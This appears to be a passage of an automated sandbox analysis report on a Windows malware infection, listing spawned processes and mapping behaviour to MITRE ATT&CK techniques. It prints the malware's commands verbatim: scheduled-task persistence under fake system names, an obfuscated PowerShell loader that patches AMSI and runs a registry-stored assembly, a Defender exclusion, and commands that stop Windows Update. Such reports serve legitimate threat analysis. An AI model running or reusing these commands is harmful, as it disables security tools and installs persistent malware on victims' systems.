- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Possibly.pifP" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Possibly.pif" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Possibly.pifP" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Sidebar\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Sidebar\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "26675185412" /sc MINUTE /mo 5 /tr "'C:\Windows\ModemLogs\2667518541.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2667518541" /sc ONLOGON /tr "'C:\Windows\ModemLogs\2667518541.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "26675185412" /sc MINUTE /mo 8 /tr "'C:\Windows\ModemLogs\2667518541.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4252 -ip 4252
1⤵
PID:3380

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2756 -ip 2756
1⤵
PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2756 -ip 2756
1⤵
PID:3384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qrzxMBrHkhdz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$pLELxhYInLgFNh,[Parameter(Position=1)][Type]$HbgvAwGAhf)$tgVJWWnOKkT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+''+[Char](101)+'dDel'+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+'y'+''+[Char](77)+'o'+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+'D'+''+'e'+'l'+'e'+''+'g'+''+[Char](97)+''+[Char](116)+'e'+'T'+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+'d'+[Char](44)+''+'A'+'nsi'+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](65)+'u'+'t'+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$tgVJWWnOKkT.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+'H'+'i'+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$pLELxhYInLgFNh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$tgVJWWnOKkT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','Pu'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+''+','+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$HbgvAwGAhf,$pLELxhYInLgFNh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $tgVJWWnOKkT.CreateType();}$FqadwccSHavQx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.dl'+[Char](108)+'')}).GetType(''+'M'+'i'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'W'+'i'+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'fe'+[Char](78)+''+'a'+''+'t'+''+'i'+''+'v'+''+'e'+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+'ds');$lIbDHwhtWySCpc=$FqadwccSHavQx.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'ta'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GITyJwYSJLITgRNInFw=qrzxMBrHkhdz @([String])([IntPtr]);$jaWLNdmlbTwAzozGmvPvEr=qrzxMBrHkhdz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$iddqRIkdIQx=$FqadwccSHavQx.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+'d'+'u'+''+'l'+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'er'+'n'+''+'e'+''+'l'+'32'+'.'+'dl'+[Char](108)+'')));$vCRCyaXoSgjJNA=$lIbDHwhtWySCpc.Invoke($Null,@([Object]$iddqRIkdIQx,[Object]('L'+[Char](111)+''+[Char](97)+'d'+'L'+'i'+'b'+'rar'+[Char](121)+''+'A'+'')));$cUBKnUrtwAefjEOcu=$lIbDHwhtWySCpc.Invoke($Null,@([Object]$iddqRIkdIQx,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$qdERHHA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vCRCyaXoSgjJNA,$GITyJwYSJLITgRNInFw).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+'dl'+[Char](108)+'');$MilbBfxAYDUURPWSl=$lIbDHwhtWySCpc.Invoke($Null,@([Object]$qdERHHA,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$wmWvUAvruC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cUBKnUrtwAefjEOcu,$jaWLNdmlbTwAzozGmvPvEr).Invoke($MilbBfxAYDUURPWSl,[uint32]8,4,[ref]$wmWvUAvruC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MilbBfxAYDUURPWSl,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cUBKnUrtwAefjEOcu,$jaWLNdmlbTwAzozGmvPvEr).Invoke($MilbBfxAYDUURPWSl,[uint32]8,0x20,[ref]$wmWvUAvruC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+'l'+'e'+''+[Char](114)+''+[Char](115)+'ta'+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3292

C:\ProgramData\bjvvxgbjmpij\npldfzxzkixc.exe
C:\ProgramData\bjvvxgbjmpij\npldfzxzkixc.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:2080
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:836
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1868
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1076
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3428
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:568
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3352
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2680
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2872
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:424
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:1504
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:2608
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4532
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:3172
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EOxHdYxSxXWY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xNmgVPNqYNOoYT,[Parameter(Position=1)][Type]$lfYhBRUHda)$xrCHbDFDMrl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+'d'+'D'+'e'+'l'+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+'',$False).DefineType('MyD'+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+'e',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'li'+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+',A'+[Char](110)+''+[Char](115)+''+'i'+'C'+'l'+''+[Char](97)+''+'s'+'s'+','+'A'+'u'+'t'+[Char](111)+''+'C'+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$xrCHbDFDMrl.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+'e,'+'H'+'id'+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+'bl'+'i'+'c',[Reflection.CallingConventions]::Standard,$xNmgVPNqYNOoYT).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'a'+'g'+'ed');$xrCHbDFDMrl.DefineMethod(''+'I'+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+'g'+''+[Char](44)+''+[Char](78)+''+'e'+'w'+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+'r'+'t'+'u'+''+[Char](97)+'l',$lfYhBRUHda,$xNmgVPNqYNOoYT).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+'ge'+'d'+'');Write-Output $xrCHbDFDMrl.CreateType();}$fSJuvVYobHWGW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+'s'+'of'+[Char](116)+'.'+'W'+'i'+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+'s'+'a'+'f'+'e'+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$LbbRXYbgrbgAPE=$fSJuvVYobHWGW.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+',St'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xhLuAAnLOkeajiDSuQp=EOxHdYxSxXWY @([String])([IntPtr]);$DVsuURzNqXXpPvGiOBlntZ=EOxHdYxSxXWY @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xuZcaFLQLUw=$fSJuvVYobHWGW.GetMethod(''+'G'+''+'e'+''+'t'+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'H'+[Char](97)+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+'n'+'e'+[Char](108)+''+[Char](51)+'2.'+[Char](100)+''+[Char](108)+''+'l'+'')));$ysjYrFVnNLFEzv=$LbbRXYbgrbgAPE.Invoke($Null,@([Object]$xuZcaFLQLUw,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$cUZZDpbcRUXgtPjAi=$LbbRXYbgrbgAPE.Invoke($Null,@([Object]$xuZcaFLQLUw,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'ua'+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+'t')));$PIoYdmh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ysjYrFVnNLFEzv,$xhLuAAnLOkeajiDSuQp).Invoke('a'+'m'+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$mrSWefuNzaZAHlRfF=$LbbRXYbgrbgAPE.Invoke($Null,@([Object]$PIoYdmh,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+'S'+[Char](99)+''+'a'+''+'n'+''+'B'+''+'u'+''+[Char](102)+''+[Char](102)+'er')));$ZsWkGaWMbn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cUZZDpbcRUXgtPjAi,$DVsuURzNqXXpPvGiOBlntZ).Invoke($mrSWefuNzaZAHlRfF,[uint32]8,4,[ref]$ZsWkGaWMbn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$mrSWefuNzaZAHlRfF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cUZZDpbcRUXgtPjAi,$DVsuURzNqXXpPvGiOBlntZ).Invoke($mrSWefuNzaZAHlRfF,[uint32]8,0x20,[ref]$ZsWkGaWMbn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+'RE').GetValue(''+[Char](100)+'ia'+[Char](108)+'er'+[Char](115)+'t'+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:4952

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- Executes dropped EXE
PID:3600

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- System Location Discovery: System Language Discovery
PID:1844

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- System Location Discovery: System Language Discovery
PID:2832

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- System Location Discovery: System Language Discovery
PID:3672

C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe
"C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe"
1⤵
PID:3996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2520 -ip 2520
1⤵
PID:5576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 3712 -ip 3712
1⤵
PID:5308

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
PID:1364

C:\ProgramData\qxit\mummdkt.exe
C:\ProgramData\qxit\mummdkt.exe
1⤵
PID:5188

C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe
"C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe"
1⤵
PID:4708

C:\Windows\SysWOW64\Gwogw.exe
C:\Windows\SysWOW64\Gwogw.exe -auto
1⤵
PID:924
- C:\Windows\SysWOW64\Gwogw.exe
  C:\Windows\SysWOW64\Gwogw.exe -acsi
  2⤵
  - Drops file in Drivers directory
  - Sets service image path in registry
  - Suspicious behavior: LoadsDriver
  PID:4664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5204 -ip 5204
1⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
PID:2672

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
PID:1932

C:\Recovery\WindowsRE\explorer.exe
C:\Recovery\WindowsRE\explorer.exe
1⤵
PID:5940

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe"
1⤵
PID:6396

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
PID:4924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 8868 -ip 8868
1⤵
PID:9296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

T1556

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Authentication Process

T1556

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery